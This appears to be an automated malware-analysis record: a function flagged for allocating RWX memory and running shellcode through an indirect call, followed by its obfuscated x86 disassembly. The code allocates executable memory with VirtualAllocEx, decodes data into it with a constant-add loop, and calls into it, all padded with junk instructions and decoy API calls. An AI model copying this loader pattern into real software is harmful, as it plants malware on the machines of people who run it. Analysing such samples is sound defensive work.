Function at 0x10003c94
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, 0x100819a9
mov eax, dword [esi + 8]
mov edx, dword [ebp - 0x14]
mov ax, 0x8b
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x14], edx
sub dword [esi], esi
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
mov esi, 0x100819ad
mov eax, dword [ebp - 8]
mov eax, dword [esi + 0x10]
sub eax, eax
mov dword [ebp - 8], esi
mov eax, dword [esi]
cmp eax, dword [esi]
jae 0x10003ce2
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [esi + 0xc]
add eax, eax
mov dword [ebp - 0x10], edi
mov dword [esi], eax
add edx, ecx
call sub.user32.dll_CreatePopupMenu
mov eax, dword [0x10081a90]
mov ecx, dword [ebp - 0xc]
or eax, eax
mov ax, 2
test esi, esi
jae 0x10003d16
or eax, dword [0x10081910]
mov eax, dword [ebp - 0x10]
mov eax, 1
mov dword [ebp - 0xc], eax
mov dword [0x10081870], edi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0xc], ecx
mov dword [0x10081a68], eax
mov dword [0x10081bf8], eax
push 8
push 0x8000
push 0x400
push 0
call sub.kernel32.dll_VirtualAlloc
mov eax, 0x10081985
mov edi, dword [ebp - 0x10]
mov edx, dword [eax + 4]
sub edx, edx
mov dword [ebp - 8], eax
mov dword [eax], edx
mov esi, dword [ebp - 8]
sub edi, edi
cmp eax, 0
jle 0x10003d63
mov ecx, dword [ebp - 0xc]
mov edx, dword [eax + 4]
sub esi, ecx
mov edi, dword [ebp - 0x14]
mov dword [ebp - 8], eax
mov dword [eax], ecx
mov si, 0x20
or dword [ebp - 0x14], 0x99000099
push 0xc5
mov dword [ebp - 0x10], esi
push 0
call sub.user32.dll_LoadBitmapA
mov ecx, dword [0x10081860]
mov edx, dword [ebp - 0x14]
sub eax, ecx
mov eax, dword [ebp - 0x10]
mov edx, dword [0x10081b78]
add edi, ecx
mov dword [ebp - 0x10], eax
mov dword [0x10081b10], eax
sbb dword [ebp - 0xc], eax
mov dword [ebp - 8], edi
call fcn.10001b18
mov eax, dword [0x10081c5c]
mov eax, dword [ebp - 0x14]
add eax, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov dword [0x10081ba8], eax
mov eax, 0x1008198d
mov edi, dword [eax + 0x18]
mov edx, dword [ebp - 0x10]
sub edi, edx
mov edx, dword [ebp - 8]
sub esi, edi
mov dword [ebp - 0xc], edi
mov dword [eax], eax
mov dword [ebp - 0x10], eax
mov eax, dword [0x100818ec]
call fcn.10004434
mov ecx, 0x10081989
mov edi, dword [ecx]
mov edi, dword [ebp - 0xc]
xor edx, edi
sub eax, esi
mov dword [ebp - 0x14], edi
mov dword [ecx + 4], eax
mov dword [ebp - 0xc], eax
mov dword [ecx], edx
mov edi, dword [ebp - 0x10]
push 0x10081968
call sub.user32.dll_CharUpperA
mov ecx, dword [0x10081938]
mov edi, 0x4c
mov ecx, dword [ebp - 0x14]
add eax, eax
lea eax, [ebp - 0x10]
mov dword [0x10081a0c], edi
mov dword [ebp - 0xc], eax
mov edi, dword [sym.imp.user32.dll_GetMenu]
mov dword [0x10081ac0], edi
push 2
mov dword [0x10081c34], eax
push 0x2000
mov dword [0x100818d8], ecx
push 0x600
push 0
call sub.kernel32.dll_VirtualAlloc
or esi, dword [0x10081b34]
add eax, esi
mov eax, dword [ebp - 8]
mov eax, dword [0x10081bb8]
sub eax, ecx
mov dword [ebp - 0x14], edi
sub dword [0x100818ec], 0x40
mov dword [ebp - 0xc], eax
mov dword [0x10081c1c], ecx
mov dword [ebp - 0xc], eax
push 0x1008195c
call sub.user32.dll_CharUpperA
mov esi, dword [0x10081bfc]
mov edx, 0x5d
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], esi
mov dword [0x10081980], ecx
mov dword [ebp - 0x10], ecx
mov dword [0x100818f8], eax
mov dword [0x100819d0], eax
call sub.kernel32.dll_GetCurrentThreadId
mov edi, dword [0x10081abc]
or eax, edx
mov edi, dword [0x10081860]
mov dword [ebp - 0xc], eax
mov dword [0x10081c44], esi
lea eax, [ebp - 0x14]
mov dword [0x10081bb0], eax
mov ecx, dword [0x10081ac0]
mov esi, dword [0x10081c5c]
mov esi, dword [ebp - 0xc]
mov esi, 2
mov eax, dword [0x10081c30]
sub eax, esi
test eax, eax
ja 0x10003efc
mov eax, dword [0x10081a84]
mov esi, dword [0x10081934]
mov esi, dword [ebp - 0x14]
mov esi, 0xc
mov eax, dword [0x10081bcc]
mov ax, 0xf7
mov eax, dword [0x10081bb8]
mov eax, dword [ebp - 8]
mov ax, 0x4f
cmp edi, 0
jl 0x10003f2e
mov dword [0x10081c10], eax
mov eax, dword [0x10081b24]
mov eax, dword [ebp - 0x14]
xor eax, edi
mov di, 0x66
mov dword [ebp - 0x14], edi
mov dword [0x10081860], edi
mov dword [0x10081afc], eax
mov dword [0x10081c24], edi
inc ecx
mov edx, dword [ecx]
cmp edx, dword [0x1000689e]
jne 0x10003efc
mov esi, 0x10081975
mov eax, dword [ebp - 0x14]
add eax, dword [esi]
mov ax, 0x48
mov ax, 0xd5
sbb dword [ebp - 0xc], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [0x10081ba4], esi
mov dword [0x10081a2c], ecx
call sub.user32.dll_CreatePopupMenu
mov eax, dword [0x100819f4]
mov eax, dword [ebp - 0x10]
add eax, edx
mov eax, dword [0x10081c14]
mov eax, 0x40
mov dword [ebp - 0x14], eax
mov dword [0x10081ab8], eax
mov dword [ebp - 0xc], edi
mov eax, dword [0x10081a7c]
call sub.kernel32.dll_GetCurrentThreadId
mov edx, dword [0x10081898]
xor eax, edi
mov dword [ebp - 0xc], ecx
mov dword [0x100819f4], eax
mov dword [0x10081860], esi
mov eax, dword [0x10081a2c]
inc eax
mov esi, dword [eax]
mov dword [0x10081ac0], esi
mov eax, 0x10081985
mov ecx, dword [eax + 0x10]
mov ecx, 0xb1
mov edx, dword [eax]
mov dword [ebp - 0x14], ecx
mov dword [eax + 0xc], esi
mov dword [ebp - 0xc], edi
lea esi, [ebp - 0xc]
push esi
call sub.user32.dll_CharUpperA
mov esi, dword [0x10081c2c]
mov edi, dword [ebp - 0x10]
mov ax, 0x75
mov eax, dword [ebp - 8]
mov eax, 0x20
mov dword [ebp - 8], edx
mov dword [0x10081b8c], eax
mov dword [ebp - 0xc], edx
push 0x1008189c
call sub.user32.dll_CharUpperA
mov eax, 0x10081961
xor esi, dword [eax + 0x14]
mov si, 0x74
mov edx, dword [eax + 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x14], esi
mov dword [eax], eax
mov dword [ebp - 0x10], edx
mov dword [0x10081874], eax
push 0x40
push 0x1000
push 0x29000
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_VirtualAllocEx
mov dword [0x10081a2c], eax
mov eax, dword [0x10081ab8]
mov ecx, dword [ebp - 0xc]
mov esi, 0x10
mov eax, dword [0x10081958]
mov edi, 0x4a
mov dword [ebp - 0xc], edi
and dword [0x10081b28], 0x222222
mov dword [0x100819c4], ecx
call sub.user32.dll_CreatePopupMenu
mov ecx, dword [0x10081a64]
xor eax, eax
mov eax, dword [0x10081ba4]
mov dword [ebp - 0xc], edx
mov dword [0x10081968], edx
mov dword [0x10081aec], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
call sub.kernel32.dll_GetCurrentThreadId
mov eax, 0x100819b5
mov edx, dword [ebp - 0xc]
mov esi, dword [eax]
sub edi, ecx
mov dword [ebp - 8], eax
mov ecx, dword [eax + 8]
mov di, 0x20
cmp dword [eax + 0x88], edi
jl 0x100040c4
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
mov esi, dword [eax]
sub edi, ecx
mov ecx, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [eax + 0x14], edx
add edx, edi
mov dword [ebp - 0x10], eax
call sub.kernel32.dll_GetCurrentThreadId
mov eax, dword [0x100819c4]
mov di, 1
mov eax, dword [0x100818bc]
mov dword [ebp - 8], eax
mov dword [0x10081b3c], eax
mov dword [0x10081884], ecx
mov dword [0x10081a6c], eax
call sub.user32.dll_CreatePopupMenu
mov eax, dword [0x10081910]
mov cx, 2
mov edi, 2
mov dword [ebp - 0xc], eax
mov dword [0x10081b04], eax
mov edx, dword [0x10081a2c]
mov eax, dword [ebp - 0xc]
mov eax, dword [0x10081aec]
mov eax, 0x8c
mov dword [ebp - 0xc], eax
mov dword [0x1008194c], eax
mov dword [ebp - 0x14], edi
mov dword [0x1008187c], edi
mov edi, dword [0x10081b98]
mov dword [0x10081af4], edi
mov edi, 0x2d8
mov esi, dword [ebp - 0x10]
mov esi, dword [0x10081ad8]
sub esi, eax
mov dword [ebp - 0x14], 0x1a
mov dword [0x100818ec], esi
mov dword [ebp - 0xc], eax
mov ecx, dword [0x10081ac0]
mov eax, 0x100819a1
mov esi, dword [ebp - 0x14]
sub esi, dword [eax + 0x8c]
mov esi, 0xdc
sub esi, eax
or dword [ebp - 0x10], 0x7777
mov dword [eax + 0xc], esi
mov dword [ebp - 8], esi
mov dword [eax + 0x14], esi
mov dword [ebp - 8], eax
xor ecx, 0x100071b7
mov esi, 0x10081991
mov eax, dword [ebp - 0x10]
mov eax, dword [esi + 4]
sub eax, esi
mov eax, 0xe3
mov dword [ebp - 0x14], eax
mov dword [esi], eax
mov dword [ebp - 8], eax
mov esi, dword [0x10081a30]
mov esi, dword [ecx]
add esi, 0xaf780243
mov dword [edx], esi
mov eax, 0x10081989
mov esi, dword [ebp - 0x14]
mov esi, dword [eax]
add esi, eax
add esi, eax
mov dword [ebp - 0x10], esi
sub dword [eax + 0x10], esi
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0xc]
add ecx, 4
add edx, 4
mov esi, 0x100819a5
mov eax, dword [ebp - 0x10]
mov eax, dword [esi]
mov eax, 0x31
mov dword [ebp - 0xc], eax
mov dword [esi], eax
mov dword [esi + 0x14], eax
mov eax, dword [ebp - 0x14]
dec edi
test edi, edi
jne 0x100041ac
mov eax, dword [0x10081af4]
mov eax, dword [ebp - 8]
mov edi, 1
and eax, dword [ebp - 0x10]
mov edx, dword [0x10081b94]
mov cx, 0x10
mov dword [ebp - 8], edi
mov dword [0x10081a4c], eax
mov ecx, dword [ebp - 0x10]
call sub.kernel32.dll_GetCurrentThreadId
mov edi, dword [0x1008187c]
sub eax, esi
mov eax, dword [0x10081c40]
mov dword [ebp - 8], esi
sbb dword [0x10081bb4], eax
mov dword [ebp - 0xc], eax
mov dword [0x10081b00], edx
mov dword [0x100819c4], edi
mov dword [ebp - 8], eax
push 0xa7
mov dword [ebp - 0x14], edx
push 0
call sub.user32.dll_LoadBitmapA
mov eax, dword [0x10081944]
mov si, 0x4a
mov edx, dword [ebp - 0xc]
sub eax, esi
mov dword [ebp - 0x10], eax
mov dword [0x10081c10], esi
or dword [ebp - 0x10], eax
mov dword [0x100819e8], eax
lea ecx, [ebp - 0x14]
mov dword [0x10081860], eax
push ecx
call sub.user32.dll_CharUpperA
mov esi, 0x100819a5
mov ecx, dword [esi]
sub edi, eax
mov edx, dword [esi]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi], eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov dword [0x10081898], eax
push 0x9a
push 0
call sub.user32.dll_LoadBitmapA
mov eax, 0x10081985
mov edx, dword [eax + 0xc]
add ecx, edx
mov edx, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edi
mov dword [eax + 0xc], esi
mov dword [ebp - 0xc], eax
mov dword [eax], ecx
mov dword [ebp - 8], eax
mov ecx, dword [0x10081a2c]
call ecx
mov esp, ebp
pop ebp
ret